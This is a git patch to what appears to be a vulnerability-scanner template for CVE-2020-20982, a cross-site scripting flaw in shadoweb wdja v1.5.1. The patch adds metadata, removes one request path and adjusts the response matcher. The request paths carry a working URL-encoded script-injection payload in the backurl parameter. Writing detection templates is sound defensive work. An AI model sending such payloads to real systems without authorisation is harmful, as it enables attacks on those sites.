From c62e3e72b6ff7d6d27c511574ed6c1731db2d9bb Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Sat, 25 Jun 2022 14:34:40 +0530
Subject: [PATCH] Update CVE-2020-20982.yaml

---
 cves/2020/CVE-2020-20982.yaml | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/cves/2020/CVE-2020-20982.yaml b/cves/2020/CVE-2020-20982.yaml
index 71b8c59ff6..e53cbc1ccc 100644
--- a/cves/2020/CVE-2020-20982.yaml
+++ b/cves/2020/CVE-2020-20982.yaml
@@ -2,12 +2,14 @@ id: CVE-2020-20982
 
 info:
   name: shadoweb wdja v1.5.1 - Cross-Site Scripting
-  author: pikpikcu
+  author: pikpikcu,ritikchaddha
   severity: critical
   description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
   reference:
     - https://github.com/shadoweb/wdja/issues/1
     - https://nvd.nist.gov/vuln/detail/CVE-2020-20982
+  metadata:
+    verified: true
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
     cvss-score: 9.6
@@ -18,7 +20,6 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/php/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
       - "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
 
     stop-at-first-match: true
@@ -27,7 +28,7 @@ requests:
       - type: word
         condition: and
         words:
-          - '</script><script>alert(document.domain)</script>'
+          - "location.href='</script><script>alert(document.domain)</script>"
 
       - type: word
         part: header